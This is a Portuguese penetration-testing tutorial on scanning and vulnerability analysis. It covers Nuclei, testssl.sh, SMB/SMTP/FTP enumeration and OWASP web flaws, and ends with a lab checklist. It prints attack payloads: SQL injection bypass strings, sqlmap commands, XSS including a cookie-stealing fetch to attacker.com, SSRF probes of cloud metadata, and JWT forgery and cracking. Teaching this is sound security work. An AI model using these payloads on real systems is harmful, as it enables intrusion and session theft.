// Penetration Testing — Phase Two

Scanning &
Análise de Vulnerabilidades

Com o mapa do alvo em mãos, agora você procura as fraquezas. Esta fase combina scanners automatizados com enumeração manual profunda de serviços e análise das vulnerabilidades web mais críticas.

NESSUS NUCLEI BURP SUITE SQLMAP SMB OWASP JWT
Scanners de vulnerabilidade automatizam a verificação de problemas conhecidos — versões desatualizadas, configurações incorretas, CVEs públicos. São ruidosos (geram muito tráfego) e nunca substituem análise manual, mas cobrem rapidamente a superfície óbvia.
Ferramentas de Scanning
Scanner

Nessus / OpenVAS

Scanners abrangentes de vulnerabilidade de infraestrutura. Testam serviços, versões, configurações, credenciais padrão, patches ausentes. Nessus é comercial (versão Essentials gratuita para até 16 IPs). OpenVAS é open-source. Output inclui CVSS score, CVE e recomendação de remediação.

Use para cobertura ampla rápida. Depois valide manualmente os findings críticos antes de incluir no relatório.
Scanner

Nuclei — Templates por CVE

Scanner baseado em templates YAML, um por vulnerabilidade. Comunidade contribui templates para CVEs recentes. Muito mais rápido e menos ruidoso que Nessus. Ideal para testar uma vulnerabilidade específica em muitos alvos.

# Scan com todos os templates nuclei -u https://alvo.com # Só vulnerabilidades críticas e altas nuclei -u https://alvo.com -severity critical,high # Template específico (ex: Log4Shell) nuclei -u https://alvo.com -t cves/2021/CVE-2021-44228.yaml
Análise TLS

testssl.sh — Auditoria de TLS

Testa configuração TLS/SSL: versões suportadas (SSLv3, TLS 1.0 = vulnerável), cipher suites fracas, certificado válido, HSTS configurado, vulnerabilidades como Heartbleed, POODLE, BEAST, CRIME.

testssl.sh https://alvo.com testssl.sh --vulnerable alvo.com:443
Headers HTTP

Análise de Security Headers

Headers de segurança ausentes são findings válidos de configuração incorreta. Verifique: HSTS, X-Content-Type-Options, X-Frame-Options, Content-Security-Policy, Referrer-Policy.

curl -I https://alvo.com 2>/dev/null | grep -i "strict\|x-content\|x-frame\|csp" # Alternativa: securityheaders.com (online)
X-Frame-Options ausente = clickjacking. CSP ausente + XSS = execução irrestrita de scripts.
Para cada serviço encontrado no recon, existe um conjunto de técnicas de enumeração específicas. O objetivo é extrair o máximo de informação antes de partir para exploração: usuários, shares, políticas, endpoints.
SMB — Porta 445
Por que SMB é crítico SMB é o protocolo de compartilhamento de arquivos do Windows. Em redes corporativas, é onipresente. Null sessions (sem credencial) às vezes retornam usuários e shares. Com credencial, você pode mapear toda a rede de shares, baixar arquivos e eventualmente executar comandos remotos via psexec.
SMB

Enumeração de Shares e Usuários

Listar compartilhamentos de rede e usuários do sistema via SMB. Null session = conexão sem credencial. Às vezes ainda funciona em sistemas legados.

# Enumeração completa com enum4linux enum4linux -a 192.168.1.10 # Listar shares smbclient -L //192.168.1.10 -N # Verificar permissões nos shares smbmap -H 192.168.1.10 # Com credencial smbmap -H 192.168.1.10 -u usuario -p senha
SMB

rpcclient — Enumeração via RPC

Interface de linha de comando para o protocolo RPC do Windows. Permite enumerar usuários, grupos, políticas de senha e informações do domínio mesmo com null session em alguns casos.

rpcclient -U "" 192.168.1.10 -N # Dentro do rpcclient: enumdomusers # lista usuários do domínio enumdomgroups # lista grupos querydominfo # info do domínio getdompwinfo # política de senha
SMTP

User Enumeration via SMTP

Comandos VRFY e EXPN do protocolo SMTP permitem verificar se um usuário existe no servidor de email. Útil para construir listas de usuários válidos para ataques de senha.

nc alvo.com 25 VRFY admin 250 admin@alvo.com # usuário existe VRFY fantasma 550 User unknown # não existe
FTP

FTP Anônimo

FTP com login anônimo habilitado permite acesso sem credencial. Arquivos de configuração, backups e documentos internos frequentemente ficam em servidores FTP esquecidos.

# Tentar login anônimo ftp alvo.com # User: anonymous Password: (enter) # Via nmap nmap --script ftp-anon -p 21 alvo.com
FTP anônimo com permissão de escrita = upload de webshell se o diretório for acessível via HTTP.
HTTP — Enumeração Manual
HTTP

Métodos HTTP permitidos

Métodos como PUT e DELETE não deveriam estar habilitados em produção. PUT pode permitir upload de arquivos arbitrários. Verifique quais métodos o servidor aceita.

curl -X OPTIONS https://alvo.com -v # Procure: Allow: GET,POST,PUT,DELETE nmap --script http-methods -p 80,443 alvo.com
HTTP

Cookies e Sessões

Análise de cookies pode revelar: valores previsíveis, ausência de flag HttpOnly (acessível via JS → XSS grave), ausência de Secure (trafega em HTTP), ausência de SameSite (CSRF). Use Burp Suite para interceptar e analisar.

Cookie sem HttpOnly + XSS = sequestro de sessão direto com document.cookie.
HTTP

robots.txt e sitemap.xml

robots.txt lista caminhos que o administrador não quer que buscadores indexem — frequentemente revela painéis de admin, endpoints sensíveis. sitemap.xml lista todos os caminhos públicos. Ambos são leitura obrigatória.

curl https://alvo.com/robots.txt curl https://alvo.com/sitemap.xml
Esta seção detalha as técnicas de identificação e teste das vulnerabilidades web mais relevantes. O Burp Suite é a ferramenta central — proxy que intercepta toda comunicação entre seu browser e o servidor.
Burp Suite — Seu proxy central
Como usar Configure seu browser para usar Burp como proxy (127.0.0.1:8080). Todo tráfego HTTP/HTTPS passa pelo Burp, onde você pode interceptar, modificar e reenviar requisições. A aba Repeater permite testar payloads manualmente. Intruder faz fuzzing automatizado. Scanner (Pro) detecta vulnerabilidades automaticamente.
OWASP A03

SQL Injection — Detecção Manual

Insira caracteres especiais em campos de input e observe erros ou comportamento diferente. Um ' quebrando a query SQL é o sinal clássico. Depois valide com sqlmap.

# Payloads de detecção básica ' # erro de SQL = vulnerável 1' OR '1'='1 # bypass de autenticação 1' OR '1'='1'-- # comentar o resto da query 1 UNION SELECT 1,2,3-- # UNION-based # Automatizar com sqlmap sqlmap -u "https://alvo.com/user?id=1" --dbs sqlmap -u "https://alvo.com/user?id=1" -D dbname --tables sqlmap -r request.txt --level 5 --risk 3
Salve a requisição do Burp em arquivo e passe com -r para o sqlmap. Mais preciso que passar a URL.
OWASP A03

XSS — Cross-Site Scripting

Reflected: payload na URL, executado uma vez. Stored: payload salvo no banco, executado para todos que visitam. DOM: manipulação do DOM via JavaScript sem passar pelo servidor.

# Payload básico de detecção <script>alert(1)</script> <img src=x onerror=alert(1)> "><script>alert(1)</script> # XSS para roubo de cookie <script>fetch('http://attacker.com/?c='+document.cookie)</script>
OWASP A01

IDOR — Insecure Direct Object Reference

Acesso a recursos de outros usuários trocando um identificador na URL ou corpo da requisição. A vulnerabilidade mais comum e frequentemente mais impactante.

# Você acessa seu perfil em: GET /api/users/1337/profile # Tente acessar outro usuário: GET /api/users/1338/profile 200 OK {"name":"outro usuario","email":"..."} ← IDOR! # IDOR em UUID: use Burp Intruder para iterar
IDORs em APIs REST são extremamente comuns. Teste em TODOS os endpoints que referenciam IDs.
OWASP A07

JWT — JSON Web Token Attacks

JWTs são tokens de autenticação com três partes: header.payload.signature. Ataques comuns: algoritmo none (sem assinatura), confusão RS256→HS256, brute force da chave secreta fraca.

# Decodificar JWT (base64) echo "eyJhbGci..." | base64 -d # Ataque alg:none — remover assinatura # Header: {"alg":"none","typ":"JWT"} # Payload: {"sub":"1","admin":true} # Signature: (vazio) # Brute force da secret com hashcat hashcat -a 0 -m 16500 token.txt wordlist.txt
OWASP A05

CORS Misconfiguration

CORS mal-configurado permite que sites externos façam requisições autenticadas à API. Se Access-Control-Allow-Origin reflete a origem da requisição + Access-Control-Allow-Credentials: true, é explorável.

# Testar reflexão de origem curl -H "Origin: https://evil.com" https://alvo.com/api/dados -v Access-Control-Allow-Origin: https://evil.com ← vulnerável! Access-Control-Allow-Credentials: true
Com CORS refletindo + credentials: true, um site malicioso pode roubar dados da API usando a sessão da vítima.
OWASP A10

SSRF — Server-Side Request Forgery

O servidor faz uma requisição para uma URL que você controla. Permite acessar serviços internos, cloud metadata (AWS IMDS), e às vezes executar código. Qualquer campo que aceite uma URL é candidato.

# Testar campo de URL url=http://127.0.0.1:80 # acesso localhost url=http://169.254.169.254/latest/meta-data/ # AWS metadata url=http://192.168.1.1 # rede interna
PortSwigger Web Academy — Prática Obrigatória
Recurso gratuito mais valioso O PortSwigger Web Academy (portswigger.net/web-security) tem labs interativos para cada vulnerabilidade web — do básico ao avançado. Cada lab é um ambiente real para praticar exploração. Completar todos os labs de SQL Injection, XSS e IDOR cobre a base do OWASP Top 10 na prática.
Marque conforme for avançando. O progresso fica salvo no navegador.
Vulnerability Scanning
Rodei Nuclei em um alvo e analisei os resultadosEntendi o que cada template testou e o que o finding significa
Analisei os headers HTTP de segurança de um siteIdentifiquei quais estavam ausentes e o risco de cada ausência
Executei testssl.sh em um servidor e interpretei os resultadosVersões TLS, ciphers fracos, vulnerabilidades
Enumeração de Serviços
Enumeração SMB com enum4linux ou smbmapListei shares e tentei null session
Testei FTP anônimo em um servidor de laboratórioConectei e listei arquivos disponíveis
Verifiquei métodos HTTP permitidos em um servidor webOPTIONS e Nmap http-methods script
Li o robots.txt e sitemap.xml de um alvoEncontrei ao menos um path interessante
Web — OWASP
Configurei o Burp Suite como proxy e interceptei uma requisiçãoModifiquei um parâmetro e reenviei com Repeater
Explorei SQL Injection manualmente em DVWA ou PortSwiggerExtraí dados do banco sem usar sqlmap
Explorei um XSS Stored em ambiente de laboratórioPayload persistido que executa para outros usuários
Encontrei e explorei um IDOR em laboratórioAcessei dados de outro usuário trocando um ID
Decodifiquei e analisei um JWTIdentifiquei o algoritmo, payload e tentei ataque alg:none
Completei ao menos 10 labs do PortSwigger Web AcademyCobrindo SQLi, XSS e controle de acesso